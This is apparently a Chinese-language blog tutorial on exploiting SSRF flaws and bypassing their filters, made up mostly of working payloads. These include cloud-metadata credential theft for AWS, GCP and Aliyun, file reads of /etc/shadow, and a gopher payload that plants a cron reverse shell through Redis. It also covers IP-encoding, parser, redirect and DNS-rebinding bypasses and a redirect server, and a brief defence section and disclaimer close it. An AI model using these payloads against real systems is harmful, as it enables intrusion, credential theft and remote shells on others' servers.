title: "【教程】SSRF漏洞高级利用与绕过技巧"
date: 2026-05-22
tags: ["渗透测试", "SSRF", "实战教程"]
【教程】SSRF漏洞高级利用与绕过技巧
适合人群:有一定渗透测试基础的入门/进阶安全研究员
解决的问题:如何发现、利用并绕过SSRF漏洞的常见限制
前置知识:HTTP协议基础、Burp Suite基本操作
一、什么是SSRF?
SSRF(Server-Side Request Forgery,服务端请求伪造) 是一种攻击者控制服务端发起请求的漏洞。常出现在:
- 从URL抓取/下载功能的接口(头像、预览图)
- Webhook回调地址配置
- 文件/图片代理读取
- XML外部实体引用(XXE结合)
- 数据库/Redis/Elasticsearch等未授权服务
危害程度
| 攻击场景 | 危害 |
|---|---|
| 内网服务探测 | 扫描内网IP/端口,发现隐藏服务 |
| 云元数据泄露 | 获取AWS/GCP/Aliyun的临时凭证 |
| Redis写入SSH密钥 | 直接获得内网主机权限 |
| FastCGI/RCE | 攻击内网PHP-FPM等服务执行命令 |
二、SSRF探测与确认
2.1 常见存在SSRF的参数名
url, src, source, target, file, callback, image, img,
download, preview, load, read, fetch, proxy, link,
dest, redirect, uri, path, domain
2.2 基础探测Payload
使用自己的VPS或Webhook接收请求:
# 基础URL测试
url=http://YOUR-SERVER/b64ssrf-test
# 协议探测(看服务端支持哪些协议)
url=file:///etc/passwd
url=dict://127.0.0.1:6379/info
url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0a...
url=ftp://192.168.1.1:21
# 重定向探测
url=http://YOUR-SERVER/redirect?to=http://169.254.169.254
2.3 判断依据
| 响应特征 | 说明 |
|---|---|
| 返回了内网服务的页面内容 | 直接确定SSRF |
| 请求耗时明显增加(timeout) | 目标能访问但被阻断 |
| 错误信息暴露内网IP/URL | 存在SSRF且有回显 |
| 收到HTTP请求回调 | 确定存在SSRF |
三、实战利用技巧
3.1 内网端口扫描(无回显盲打)
利用响应时间差判断端口开放:
# 用 curl 测试目标是否存在 SSRF 盲打
curl -X POST "http://target.com/fetch" -d "url=http://127.0.0.1:3306" --connect-timeout 5
# 开放端口:超时或返回不同内容
# 关闭端口:立即返回 Connection Refused 错误
Burp Suite Intruder 批量扫描:
Payload: http://192.168.1.1:{PORT}
端口列表: 22, 80, 443, 3306, 6379, 8080, 9200, 27017
3.2 云元数据服务攻击(最高危)
AWS 元数据获取:
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ADMIN_ROLE
GCP 元数据:
url=http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
# 需要 Header: Metadata-Flavor: Google
阿里云(ECS)凭证获取:
url=http://100.100.100.200/latest/meta-data/ram/security-credentials/
3.3 Redis 未授权写入(利用gopher协议)
# Redis 写入 SSH 公钥到 authorized_keys
# URL编码后的 gopher payload
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/YOUR_IP/8888 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
3.4 利用file协议读文件
# 读取关键配置文件
url=file:///etc/passwd
url=file:///etc/shadow
url=file:///proc/self/environ
url=file:///proc/self/cmdline
url=file:///proc/self/fd/0 # 尝试读取当前请求的HTTP body
# Windows 路径
url=file:///C:/Windows/win.ini
url=file:///C:/inetpub/wwwroot/web.config
四、WAF/限制绕过技巧(核心)
4.1 IP黑名单绕过
# 方式1:十进制IP
# 127.0.0.1 → 2130706433
url=http://2130706433/
# 方式2:十六进制IP
# 127.0.0.1 → 0x7f000001
url=http://0x7f000001
# 方式3:八进制IP(每段)
# 127.0.0.1 → 0177.0.0.1
url=http://0177.0.0.1
# 方式4:短域名解析
# 127.0.0.1 → 0 或 1 或 localhost
url=http://0/
url=http://1/
# 方式5:IPv6 绕过
url=http://[::1]/
url=http://[0:0:0:0:0:ffff:127.0.0.1]/
# 方式6:DNS Rebinding
url=http://ATTACKER-COMPUTER-1.127.0.0.1.nip.io/
4.2 协议限制绕过
当只允许 http/https 时的绕过:
# 利用重定向:在公网服务器上放一个302跳转到内网
# VPS 上的 PHP 文件 redirect.php:
<?php header("Location: file:///etc/passwd"); ?>
url=http://YOUR-VPS/redirect.php
# 利用 DNS 解析到内网
# 在公网域名上设置 A 记录解析到 127.0.0.1
url=http://ssrf-bypass.yourdomain.com:6379
4.3 URL解析差异绕过
不同语言对URL的解析差异可以用来绕过黑名单校验:
# PHP解析差异
url=http://127.0.0.1#@evil.com # PHP认为host是evil.com
url=http://evil.com@127.0.0.1 # 某些库会用@后面的地址
# 反斜杠绕过
url=http://localhost\@evil.com
url=http://127.0.0.1\@evil.com
# 特殊字符绕过
url=http://127.0.0.1%00#@evil.com # 空字节截断
url=http://127.0.0.1/..@evil.com
4.4 302跳转绕过
当目标限制了域名白名单时的终极绕过:
# 在自己的VPS上搭建一个任意跳转服务
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def redir():
target = request.args.get('to')
return redirect(target, code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
# 然后在目标上:
url=http://YOUR-VPS/redirect?to=http://169.254.169.254/
4.5 DNS Rebinding(DNS重绑定)
# 利用 7 秒TTL域名做DNS重绑定
# 推荐服务:1u.ms / rbndr.us / lock.cmpxchg.io
url=http://7f000001.1u.ms/ # 解析结果从攻击IP变为127.0.0.1
url=http://7f000001.rbndr.us/
五、绕过验证Cheatsheet
| 限制类型 | 绕过方法 | 成功率 |
|---|---|---|
| IP黑名单(127/10/172/192) | 十进制/十六进制/IPv6/短域名 | 高 |
| URL白名单(必须以evil.com开头) | @符号/反斜杠/..绕过 | 中 |
| 协议限制(仅http/https) | 302跳转/DNS重绑定 | 中 |
| DNS白名单 | DNS Rebinding(重置连接) | 低-中 |
| 内网不可达 | 利用SSRF打Redis/MongoDB等服务 | 高 |
| WAF正则检测IP | 多种编码组合绕过 | 中-高 |
六、防御建议(用于理解绕过逻辑)
了解防御才能更好地绕过。
- 协议白名单:仅允许 http/https,禁止 file/gopher/dict
- IP白名单:明确需要访问的目标,拒绝非业务IP
- 限制重定向:禁止跟随 302/301 跳转
- 禁用DNS重绑定:对解析结果做两次验证
- 使用SSRF防护库:如 Python 的
ipaddress校验,Java 的 InetAddress 二次验证 - 元数据API隔离:对 169.254.169.254 等特殊IP做明确路由阻断
- 最小网络策略:应用服务器不应有访问内网其他服务的网络权限
七、实战环境推荐
| 平台 | 靶场名称 | 地址 |
|---|---|---|
| PortSwigger | SSRF labs | https://portswigger.net/web-security/ssrf |
| DVWA | SSRF模块(需安装) | http://localhost/dvwa |
| Vulhub | ssrf-lab | docker-compose up |
| TryHackMe | SSRF房间 | https://tryhackme.com/room/ssrf |
# 一键启动 vulhub ssrf 环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/ssrf/ssrf-lab
docker-compose up -d
注意事项
- 取得授权:所有SSRF测试必须在授权范围内进行
- 切勿破坏:gopher攻击Redis属于高风险操作,可能导致服务崩溃
- 日志清理:大部分云元数据接口会记录API调用日志
- 条件限制:gopher协议需要服务端支持(PHP curl常用于此)
- 版本差异:不同系统/语言对URL解析的行为差异巨大,多做测试
本教程仅供安全研究学习使用,请勿用于非法用途。